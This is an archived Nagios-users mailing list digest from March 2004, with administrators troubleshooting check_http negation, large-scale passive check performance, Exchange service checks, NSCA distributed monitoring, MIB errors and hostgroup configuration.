>>check_http -H ip -p 1111 -a id:passwd -s Offline >> >>instead of getting "HTTP ok: ..." >> >>I want it to report error when text x (offline) is found and normal >>when not found, ie HTTP CRITICAL would be normal state..? >> >> > >Use the negate plugin. It does exactly what you want. > >negate check_http -H ip -p 1111 -a id:passwd -s Offline > >-- >Marc > > > > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From amayhew at icewire.com Thu Mar 11 19:40:11 2004 From: amayhew at icewire.com (Andy Mayhew) Date: Thu, 11 Mar 2004 10:40:11 -0800 Subject: Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: <20040311184011.GA23105@icewire.com> >From my experience, while you are seeing a high CPU load, the real culprit is Disk I/O. With RRD writing to various files, along with Nagios logging, and such, there is actually quite a bit of I/O going on even without the CGI's. The CGI's in turn get slow waiting to be able to read the Nagios configs and status file. My solution for this, under Linux, has been to utilize the fact that memory is cheap, and have RRD files, status files, and Nagios command files reside on ram disks. Saving those files which are not transitory (RRD files) to disk via a script on a regular basis for backup. So, for my distributed environment, I have ~748 servers, ~8400 passive service checks, an additional ~600 local active service checks, and ~6700 rrd metrics being stored. The central server is a dual P-III 850 with 2gigs of ram. The average page refresh that we've seen is <5 seconds for the CGI's with 10-15 active users at any time. Some other notes on my environment. 98% of the passive service checks recieved are via NSCA with the rest being SNMP traps. I do aggregation of NSCA traffic on each of the distributed Nagios servers which dramatically cuts down on the build-up-tear-down of tcp sockets. Moving all named pipes used by Nagios onto the ramdisk also made dramatic improvements in performance. Of the average 12 service checks on each host, 8 are system related (cpu util, disk space, mem, network traffic, etc). All of the performance/utilization data from these checks is stored in RRD. I do this via an OCSP command which parses the service check return line and does the proper rrd command thing. The hosts monitored are a combination of Solaris, Linux, network devices (Cisco, Alteon, Foundry), and Windows hosts. This is just a glancing overview of how we handled performance issues. If anyone is interested in a more detailed HowTo type document, I'll see what I can whip-up. Also, I don't do pie charts, but I think my graphs are pretty okay in comparison to the uptimesoftware folks ;) --Andy On Thu, Mar 11, 2004 at 04:52:00AM -0800, Noah Leaman wrote: > Hopes it's o.k. cross posting to both groups on this matter... > > Using the concept of one service per up/down trap for each network > interface, I tested a little by creating a very simple set of nagios > configs, but with about 8000 PASSIVE service checks and no active > service checks. of course there was no problem in terms of scheduling > issues, but the CGIs all crawled to a snails pace. In my setup (nagios > 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the > Status Summary page. > > Of course that config setup isn't the actual production plan... > > I enabled the closer to real-world configs: > > 552 check_traffic (2 snmpgets running every 10 minutes per service > check storing to an RRD) > 295 check_ping (number of locally monitored hosts) > 8389 check_dummy (mostly the up/down Trap and about 100 are passive > services coming from 2 other distributed nagios servers doing pings and > check_traffics) > > ... So 9236 services all together but this is really just a small > subset of what I would like to be able to do. The plan is to through > hardware at it to spread out the real work being done (i.e. the active > checks). > > But with just this setup, a single CGI take up an entire CPU to run and > for a few minutes a lot of the time... and the plan was to have a good > handful of GUI users (5 ish at a time)... it's just about unusable with > one GUI user. > > How to monitor traps for hundreds of network hosts and tens of > thousands different interfaces each of which could generate up/down > traps along with other traps. I tried setting up a single "catch-all" > trap service per host, but notification would need to occur when going > from and OK to another OK (with a different output). Shouldn't this > work with is_volatile on and stalking_options set to o,w,u,c (every > test I've done to get this working from OK to OK doesn't work... but > maybe I missed something). > > So the higher level question here is am I over my head in what or how I > can do this with nagios? After tackling the network monitoring needs, > the plan was to then start the server monitoring (around 1000 servers > of many platforms). > > Any helpful guidance? > > -- > Noah > > > On Wednesday, March 10, 2004, at 06:51 PM, Noah Leaman wrote: > > >I have over 70,000 interfaces/ports (just the up/up ones) for which I > >could receive linkDown and linkUp traps for. And this is just a > >sampling of hosts on our network to pilot nagios to see if it can do > >what we want. Doesn't it seem a little crazy to have to deal with that > >many services even if they are passive? And this is just linkDown and > >linkUp. What about all other possible traps that could be received? > > > >-- > >Noah > > > > > >On Friday, March 5, 2004, at 01:15 AM, Jim Mozley wrote: > > > >>Noah Leaman wrote: > >> > >>>How do you all address the issue of trap monitoring when you want > >>>notifications for them? > >> > >>I have done something similar with interfaces, the only way I know is > >>to define each interface as a service. I realise this is potentially > >>a lot of services. We do this on core network device interfaces, but > >>only define services for interfaces that are in use. This is an > >>automated process so as interfaces are activated/deactivated they are > >>added or removed from the Nagios configuration files. As the only > >>alerts are passive ones for these services, it isn't as though one is > >>introducing something like a vast increase in active checks. > >> > >>HTH, > >> > >>Jim Mozley > >> > >> > >>------------------------------------------------------- > >>This SF.Net email is sponsored by: IBM Linux Tutorials > >>Free Linux tutorial presented by Daniel Robbins, President and CEO of > >>GenToo technologies. Learn everything from fundamentals to system > >>administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > >>_______________________________________________ > >>Nagios-users mailing list > >>Nagios-users at lists.sourceforge.net > >>https://lists.sourceforge.net/lists/listinfo/nagios-users > >>::: Please include Nagios version, plugin version (-v) and OS when > >>reporting any issue. ::: Messages without supporting info will risk > >>being sent to /dev/null > >> > > > > > > > >------------------------------------------------------- > >This SF.Net email is sponsored by: IBM Linux Tutorials > >Free Linux tutorial presented by Daniel Robbins, President and CEO of > >GenToo technologies. Learn everything from fundamentals to system > >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > >_______________________________________________ > >Nagios-users mailing list > >Nagios-users at lists.sourceforge.net > >https://lists.sourceforge.net/lists/listinfo/nagios-users > >::: Please include Nagios version, plugin version (-v) and OS when > >reporting any issue. ::: Messages without supporting info will risk > >being sent to /dev/null > > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-devel mailing list > Nagios-devel at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-devel ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From bruce.gilbert at tmgus.mosaic.com Thu Mar 11 19:09:14 2004 From: bruce.gilbert at tmgus.mosaic.com (Gilbert, Bruce) Date: Thu, 11 Mar 2004 12:09:14 -0600 Subject: ms exchange services monitoring Message-ID: <8F60DB2764F7EC498CADADCFBA819DA003F452D2@dalexchange.tmgsolutionsinc.com> Use check_nt_service!MSExchangeIS. You have to use the service name and there can't be any spaces in the service name. HTH -----Original Message----- From: James Bowes [mailto:james at expresscomputers.com] Sent: Thursday, March 11, 2004 11:16 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] ms exchange services monitoring Hi all. I have set up Nagios (1.2) on Red Hat 8.0. It's working fine for simple disk checks using nsclient. Now comes the fun part - checking Windows Exchange related services. After having gone through the documentation, FAQ's and reading through Square Box's site I attempted to check the services I wanted to know about like this: # Service definition define service { use generic-service ; Name of service template to use host_name sim.testbox.net service_description check_nt_service is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups nt-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_nt_service!Microsoft Exchange Information Store } The related hosts.cfg and escalations.cfg are configured fine and no errors occur when I run the command: /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg I am able to reload the nagios config without problems. After the service check, a service warning shows the service I am checking is unknown. Does anyone have an idea for me to try with this? Thanks for any and all responses. Regards, James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From DPrice at c1-slo.com Thu Mar 11 19:21:11 2004 From: DPrice at c1-slo.com (Price, David) Date: Thu, 11 Mar 2004 10:21:11 -0800 Subject: ms exchange services monitoring Message-ID: <2ECBF074653C42489635A134E158672050C5@C1MAIL.c1-slo.com> James, You have to use the actual name of service as it appears the service's property page. You are using the display name. Here is what I have configured for our Exchange server: # Service definition define service{ use generic-service ; Name of service template to use host_name c1mail service_description Exchange Services is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 1440 notification_period workhours notification_options w,u,c,r check_command check_nt_service!MSExchangeIS,MSExchangeMGMT,MSExchangeMTA,RESvc } Hope this helps, David Price Senior IS Support Technician CELLULARONE of San Luis Obispo 805-543-0100 CellularOne reminds you that "Safety is Your Most Important Call." _____________________________________________________________________________ CONFIDENTIALITY NOTE: The information in this e-mail is intended to be confidential and only for the use of the individual or entity to whom it is addressed. If you are not the intended recipient, any retention, dissemination, distribution or copying of this message is strictly prohibited and sanctioned by law. If you receive this e-mail by error, please immediately send it back and delete all copies of the message. NOTA CONFIDENCIAL: La informaci?n contenida en este e-mail es confidencial y s?lo puede ser utilizada por el individuo o la compa??a a la cual est? dirigido. Si usted no es el receptor autorizado, cualquier retenci?n, difusi?n, distribuci?n o copia de este mensaje es prohibida y sancionada por la ley. Si por error recibe este mensaje, favor devolver y borrar toda copias del mensaje inmediatamente. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of James Bowes Sent: Thursday, March 11, 2004 9:16 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] ms exchange services monitoring Hi all. I have set up Nagios (1.2) on Red Hat 8.0. It's working fine for simple disk checks using nsclient. Now comes the fun part - checking Windows Exchange related services. After having gone through the documentation, FAQ's and reading through Square Box's site I attempted to check the services I wanted to know about like this: # Service definition define service { use generic-service ; Name of service template to use host_name sim.testbox.net service_description check_nt_service is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups nt-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_nt_service!Microsoft Exchange Information Store } The related hosts.cfg and escalations.cfg are configured fine and no errors occur when I run the command: /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg I am able to reload the nagios config without problems. After the service check, a service warning shows the service I am checking is unknown. Does anyone have an idea for me to try with this? Thanks for any and all responses. Regards, James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From aj.mckee at nmtbmedia.com Thu Mar 11 19:18:57 2004 From: aj.mckee at nmtbmedia.com (AJ McKee) Date: Thu, 11 Mar 2004 18:18:57 -0000 Subject: Distributed Woes - Passive Check Results not being submitted to Master In-Reply-To: <404FAB02.17415.190D5EB@localhost> References: <404FAB02.17415.190D5EB@localhost> Message-ID: <003701c40795$51d26140$cbe8fea9@core> --snip >The problem is likely with /bin/echo being used in the >submit_check_result script. I have replaced the example in CVS to >use printf for better portability. Use the following lines of code >in the script instead of what's posted online in the docs. I'll >update the docs on the site to reflect the new code. --/snip Cheers Ethan, I have changed the scripts to reflect your changes. However still no joy. It appears that nagios is not running the ocsp defined command after a service check has been submitted. My nagios.cfg has the following; obsess_over_services=1 ocsp_command=obsessive_svc_handler In miscommands.cfg define command{ command_name obsessive_svc_handler command_line /usr/local/nagios/libexec/eventhandlers/obsessive_svc_handler $HOSTNAME$ '$SERVICEDESC$' $SERVICESTATE$ '$OUTPUT$' } I can run the scripts with the following arguments and it posts to the master server no problem. $printf "www.myhost.com\tTotal Processes\t1\tHello World\n" | /usr/local/nagios/libexec/send_nsca 212.147.141.10 -c /usr/local/nagios/etc/send_nsca.cfg Output on slave 1 data packet(s) sent to host successfully. Output on Master Mar 11 18:14:44 host01 nsca[22845]: Handling the connection... Mar 11 18:14:44 host01 nsca[22845]: SERVICE CHECK -> Host Name: 'www.myhost.com', Service Description: 'Total Processes', Return Code: '1', Output: 'Hello World' Mar 11 18:14:44 host01 nsca[22845]: End of connection... Mar 11 18:14:45 host01 nagios: EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;www.myhost.com;Total Processes;1;Hello World I have followed the recommendations on http://nagios.sourceforge.net/docs/1_0/distributed.html to set up a simple distributed monitoring system. But to no avail. So I am lost. Being speculative I have either fscked up or nagio is not calling the ocsp_command. I'd say I have messed up, but there is no output on the nagios log to confirm if the ocsp command is being run or not. Any advice welcome and much appricated. Yours AJ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 11 19:21:15 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 12:21:15 -0600 Subject: ms exchange services monitoring Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A325@mismail2.ena.com> On Thursday, March 11, 2004 11:16 AM, James Bowes shared with us: > Hi all. > > I have set up Nagios (1.2) on Red Hat 8.0. It's working fine for > simple disk checks using nsclient. Now comes the fun part - checking > Windows Exchange related services. > > After having gone through the documentation, FAQ's and reading > through Square Box's site I attempted to check the services I wanted > to know about like this: > > # Service definition > define service { > use generic-service ; Name of > service template to use > > host_name sim.testbox.net > service_description check_nt_service > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups nt-admins > notification_interval 120 > notification_period 24x7 > notification_options c,r > check_command check_nt_service!Microsoft > Exchange Information Store > } > > The related hosts.cfg and escalations.cfg are configured fine and no > errors occur when I run the command: > > /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg > > I am able to reload the nagios config without problems. After the > service check, a service warning shows the service I am checking is > unknown. > > Does anyone have an idea for me to try with this? What does your check_nt_service command definition look like? What happens if you run that command as the nagios user from the command line, filling in all the appropriate variables? If you're using check_nt, I suspect that the check is being truncated to "Microsoft". You may need to put the service description in quotes in your command definition (i.e. "$ARG1$"). A caveat here is that I'm not familiar with checking services via check_nt so I'm not sure if your nameing convention is even right. I usually use -v PROCSTATE to check individual processes. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Thu Mar 11 20:05:20 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 11 Mar 2004 14:05:20 -0500 (EST) Subject: Add mib files to /usr/share/snmp/mibs In-Reply-To: <014401c40782$0846b110$2605020a@bjeyri> References: <014401c40782$0846b110$2605020a@bjeyri> Message-ID: On Thu, 11 Mar 2004, Jeyri bautista wrote: > Hi, > > I?m receiving snmp traps with my nagios, but I need add other mib files > to can receive other traps types, but when I copy the new mib file to > the path /usr/share/snmp/mibs all my check_snmp goes to warning state. > > I read the faq, but I don?t understood how to solve that. > > I don?t know if I have to do other thing that copy the mib in the path. > > Anybody can help me, > > Thanks, > > Jeyri It means that the mibs files you added do not have the corrent syntax. The net-snmp package is relatively strict about syntax. If you don't feel comfortable correcting the syntax, then change the invocation of check_snmp Normally check_snmp will accept either numeric OIDs (e.g. 1.3.6.1.2.1.1.0) or textual (e.g. system.0). When getting textual OIDs, it needs to convert them to numeric OIDS. This is where the mib files come into the picture. Bad syntax generates output on stderr and causes a warning. To bypass this, make sure you are passing only numeric OIDs to check_snmp and also add the "-m :" option to check_snmp. The -m option specifies the mib modules to load. Just providing a : makes it an empty list and none of the mibs are loaded. This also make the check_snmp plugin run faster. To convert you textual oids to numeric, try: snmptranslate -Ib -On textual oid -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dchemko at smgtec.com Thu Mar 11 20:30:09 2004 From: dchemko at smgtec.com (Daniel Chemko) Date: Thu, 11 Mar 2004 11:30:09 -0800 Subject: ms exchange services monitoring Message-ID: <7C9884991ADAE0479C14F10C858BCDF56791E9@alderaan.smgtec.com> Try using the service ID: MSExchangeIS That's what its labeled in the registery. James Bowes wrote: > Hi all. > > I have set up Nagios (1.2) on Red Hat 8.0. It's working fine for > simple disk checks using nsclient. Now comes the fun part - checking > Windows Exchange related services. > > After having gone through the documentation, FAQ's and reading > through Square Box's site I attempted to check the services I wanted > to know about like this: > > # Service definition > define service { > use generic-service ; Name of > service template to use > > host_name sim.testbox.net > service_description check_nt_service > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups nt-admins > notification_interval 120 > notification_period 24x7 > notification_options c,r > check_command check_nt_service!Microsoft > Exchange Information Store > } > > The related hosts.cfg and escalations.cfg are configured fine and no > errors occur when I run the command: > > /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg > > I am able to reload the nagios config without problems. After the > service check, a service warning shows the service I am checking is > unknown. > > Does anyone have an idea for me to try with this? > > Thanks for any and all responses. > > Regards, > > James Bowes, Senior Consultant, > Express Computer Service Centre. > 604-535-6508 ext.305 > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users >>>> Please include Nagios version, plugin version (-v) and OS when >>>> reporting any issue. Messages without supporting info will risk >>>> being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jbautista at intercable.net.ve Thu Mar 11 20:57:33 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Thu, 11 Mar 2004 15:57:33 -0400 Subject: Add mib files to /usr/share/snmp/mibs References: Message-ID: <00ca01c407a3$1829e900$2605020a@bjeyri> Thanks, Jeyri ----- Original Message ----- From: "Subhendu Ghosh" To: "Jeyri bautista" Cc: Sent: Thursday, March 11, 2004 3:05 PM Subject: Re: [Nagios-users] Add mib files to /usr/share/snmp/mibs On Thu, 11 Mar 2004, Jeyri bautista wrote: > Hi, > > I?m receiving snmp traps with my nagios, but I need add other mib files > to can receive other traps types, but when I copy the new mib file to > the path /usr/share/snmp/mibs all my check_snmp goes to warning state. > > I read the faq, but I don?t understood how to solve that. > > I don?t know if I have to do other thing that copy the mib in the path. > > Anybody can help me, > > Thanks, > > Jeyri It means that the mibs files you added do not have the corrent syntax. The net-snmp package is relatively strict about syntax. If you don't feel comfortable correcting the syntax, then change the invocation of check_snmp Normally check_snmp will accept either numeric OIDs (e.g. 1.3.6.1.2.1.1.0) or textual (e.g. system.0). When getting textual OIDs, it needs to convert them to numeric OIDS. This is where the mib files come into the picture. Bad syntax generates output on stderr and causes a warning. To bypass this, make sure you are passing only numeric OIDs to check_snmp and also add the "-m :" option to check_snmp. The -m option specifies the mib modules to load. Just providing a : makes it an empty list and none of the mibs are loaded. This also make the check_snmp plugin run faster. To convert you textual oids to numeric, try: snmptranslate -Ib -On textual oid -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rtaylor at abebooks.com Thu Mar 11 21:09:21 2004 From: rtaylor at abebooks.com (rtaylor) Date: Thu, 11 Mar 2004 12:09:21 -0800 Subject: [Nagios Users] Checking status of Multihomed hosts Message-ID: <002701c407a4$be58d420$a6110a0a@hobbit> I have a large number of multihomed hosts I am trying to monitor with check_ping from Nagios - does anyone know how I could implement this without having to create a separate host definition for each interface (that really turns your status map into a nightmare)? I found this reference on the net to check_ping supporting checks of multihomed hosts... https://sourceforge.net/mailarchive/forum.php?thread_id=3843644&forum_id=849 9 > "...But in the context of a nagios config, I think it is not the > most preferred format - I think it should also accept commas like > check_ping does for multihomed hosts..." I am using check_ping version 1.1 (came with the 1.31 plugins) and it does not seem to support that syntax. Thanks, Robert Taylor ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 11 21:35:11 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 14:35:11 -0600 Subject: Template shortcut problem? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A327@mismail2.ena.com> Hi all! I'm starting to play around with 2.0a and I have it working so now I'm looking at doing some things with template-magic that I probably should have done a long time ago. Unfortunately I'm doing something wrong and could use another pair of eyes. I basically have about 1600 hosts that I'm looking at for this that are split up into 138 hostgroups with most hosts being in two different hostgroups. I'm trying to use template magic to eliminate having to specify each as an argument to the hostgroup 'members' directive by using the 'hostgroups' directive in the host definition and to simplify my configs like so -- # Host definition define host { use generic-host host_name alias Alcoa Elementary/LEA address hostgroups all-east-tn,tnops-alcoa-tn } And the corresponding hostgroup definitions look like so -- define hostgroup { hostgroup_name tnops-alcoa-tn alias Alcoa Tennessee } define hostgroup { hostgroup_name all-east-tn alias All East Tennessee } Unfortnately pre-flight crashes and burns before take off -- Running pre-flight check on configuration data... Checking services... Checked 2307 services. Checking hosts... Checked 1626 hosts. Checking host groups... Error: Host 'all-east-tn' specified in host group 'all-east-tn' is not defined anywhere! Error: Host 'all-middle-tn' specified in host group 'all-middle-tn' is not defined anywhere! Error: Host 'all-west-tn' specified in host group 'all-west-tn' is not defined anywhere! Error: Host 'tnops-alamo-tn' specified in host group 'tnops-alamo-tn' is not defined anywhere! Error: Host 'tnops-alcoa-tn' specified in host group 'tnops-alcoa-tn' is not defined anywhere! ... *****[137 total bad 'hosts']***** Checked 138 host groups. Checking service groups... Checked 0 service groups. Checking contacts... Checked 1 contacts. Checking contact groups... Checked 1 contact groups. Checking service escalations... Checked 0 service escalations. Checking service dependencies... Checked 0 service dependencies. Checking host escalations... Checked 0 host escalations. Checking host dependencies... Checked 0 host dependencies. Checking commands... Checked 100 commands. Checking time periods... Checked 4 time periods. Checking extended host info definitions... Checked 0 extended host info definitions. Checking extended service info definitions... Checked 0 extended service info definitions. Checking for circular paths between hosts... Checking for circular host and service dependencies... Checking global event handlers... Checking obsessive compulsive processor commands... Checking misc settings... Total Warnings: 0 Total Errors: 137 What's getting me is that the hosts that it's complaining about are only used as hostgroup names -- -bash-2.05b$ grep tnops-alcoa-tn * tnops-east.cfg: hostgroups all-east-tn,tnops-alcoa-tn tnops-east.cfg: hostgroups all-east-tn,tnops-alcoa-tn tnops-east.cfg: hostgroups all-east-tn,tnops-alcoa-tn tnops-lea-tn.cfg: hostgroup_name tnops-alcoa-tn You'll also notice that 137 out of 138 hostgroups errored out. The single one that didn't does not have any hosts associated with it -- -bash-2.05b$ grep tnops-biz-tn * tnops-lea-tn.cfg: hostgroup_name tnops-biz-tn I thought it might be a wildcard issue (I do have use_regexp_matching=1) but disabling regexp matching doesn't have any effect. I know there's probably something obvious I'm missing but I can't seem to see it. The documentation is a bit unclear right now and I suspect it just hasn't been updated yet. The docs for hostgroup definitions state that the members directive is required while the docs for host definitions state that the hostgroups directive can be used in place of or in addition to the hostgroup members directive. Thanks! -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 11 21:55:31 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 14:55:31 -0600 Subject: [Nagios Users] Checking status of Multihomed hosts Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A328@mismail2.ena.com> On Thursday, March 11, 2004 2:09 PM, rtaylor shared with us: > I have a large number of multihomed hosts I am trying to monitor with > check_ping from Nagios - does anyone know how I could implement this > without having to create a separate host definition for each > interface (that really turns your status map into a nightmare)? > > I found this reference on the net to check_ping supporting checks of > multihomed hosts... > > https://sourceforge.net/mailarchive/forum.php?thread_id=3843644&forum_id =849 > 9 > > > "...But in the context of a nagios config, I think it is not the > > most preferred format - I think it should also accept commas like > > check_ping does for multihomed hosts..." > > I am using check_ping version 1.1 (came with the 1.31 plugins) and it > does not seem to support that syntax. Plugins 1.4.0 alpha. You could also put a loopback IP on each router and use that for the host definition and define each of the individual interfaces as a service on that host. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jbautista at intercable.net.ve Thu Mar 11 22:10:31 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Thu, 11 Mar 2004 17:10:31 -0400 Subject: Add mib files to /usr/share/snmp/mibs References: Message-ID: <018501c407ad$498fe440$2605020a@bjeyri> Thanks, I solved the problem, but now I have other problem. My nagios receive the traps from my routers cisco, and is running the snmptrapd daemon to receive this traps. I create a snmptrapd.cong file that compare the traps received with the mibs files, it is working very well with 